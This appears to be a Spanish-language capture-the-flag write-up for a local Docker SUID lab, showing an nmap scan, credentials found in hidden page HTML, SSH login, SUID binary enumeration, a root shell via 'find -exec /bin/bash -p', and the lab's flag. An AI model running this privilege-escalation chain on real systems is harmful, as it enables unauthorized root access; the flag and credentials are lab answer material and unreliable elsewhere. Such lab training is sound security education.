Laboratorio SUID

Se desplega el laboratorio

sudo bash startlab.sh.
Nos da una ip 172.17.0.2
Escaneo de Puertos

nmap -p- -sV -sC -sS -Pn --min-rate=5000 172.17.0.2 | tee nmap_scan

```
┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID]
└─$ nmap -p- -sV -sC -sS -Pn --min-rate=5000 172.17.0.2 | tee nmap_scan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-01 15:09 -0500
Nmap scan report for 172.17.0.2
Host is up (0.000013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:e9:48:3a:04:b5:6c:62:73:4d:8e:5f:b4:5c:1d:d6 (ECDSA)
|_  256 f5:3e:93:70:de:cc:13:9f:a9:23:b8:b0:5d:76:d4:0f (ED25519)
8080/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: SUID Lab | whoami-labs
MAC Address: 56:3C:E5:7F:BD:4D (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.51 seconds
```

Ver en el navegador http:// 172.17.0.2:8080

Se detecta un usuario y contraseña.

```
<p><strong>🔒 Contraseñas</strong></p>
<p>Son secretos compartidos entre el <span class="hidden">usuario:student</span> usuario y <span class="hidden">contraseña:skylar/99</span> contraseña el sistema.</p>
<ul>
```

Usuario: student

Contraseña: skylar/99

Procedemos para acceder inicialmente, accediendo por ssh ingresando con la credenciales encontradas.

```
┌──(samlab㉿Pentest)-[~/Escritorio/Laboratorios SUID]
└─$ ssh student@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:/g/BPZTVir2Rp5xZwnmbEIYgIPbtz3ZiUjSuS6bhoEA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
student@172.17.0.2's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.18.12+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

Realizamos la escalada de privilegios

find / -perm -4000 -type f 2>/dev/null

```
student@9edc79220b64:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/mv
/usr/bin/su
/usr/bin/cp
/usr/bin/find
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/umount
student@9edc79220b64:~$
```

Binarios vulnerables encontrados:

- /usr/bin/find
- /usr/bin/cp
- /usr/bin/mv

Explotación de la vulnerabilidad con find

student@9edc79220b64:~$ find . -exec /bin/bash -p \; -quit

```
student@9edc79220b64:~$ find . -exec /bin/bash -p \; -quit
bash-5.1# whoami
root
bash-5.1#
```

```
bash-5.1# ls
bash-5.1# pwd
/home/student
bash-5.1# cd /root
bash-5.1# ls
flag.txt
bash-5.1# cat flag.txt
RDp_Exi7
bash-5.1#
```

```
Configurando python3-protobuf (3.21.12-15) ...
Configurando containerd (2.1.4~ds2-8) ...
containerd.service is a disabled or a static unit, not starting it.
Configurando docker-buildx (0.29.1+ds1-2) ...
Configurando needrestart (3.11-1) ...
Configurando python3-pycriu (4.2-2) ...
Configurando docker.io (28.5.2+dfsg3-2) ...
update-rc.d: We have no instructions for the docker init script.
update-rc.d: It looks like a non-network service, we enable it.
Created symlink '/etc/systemd/system/multi-user.target.wants/docker.service' → '/usr/lib/systemd/system/docker.service'.
Created symlink '/etc/systemd/system/sockets.target.wants/docker.socket' → '/usr/lib/systemd/system/docker.socket'.
Configurando libintl-xs-perl (1.37-1) ...
Procesando disparadores para libc-bin (2.42-13) ...
Procesando disparadores para man-db (2.13.1-1) ...
Procesando disparadores para kali-menu (2026.2.1) ...
Synchronizing state of docker.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable docker
Docker instalado correctamente.

────────────────────────────────────────────────────────────────────────────────
Tu laboratorio SUID está desplegado correctamente.
IP interna de la máquina desplegada: 172.17.0.2
────────────────────────────────────────────────────────────────────────────────
Ingresa la flag: RDp_Exi7
¡Felicitaciones hacker! Has conseguido la flag.
¿Quieres eliminar la máquina? (s/n):
```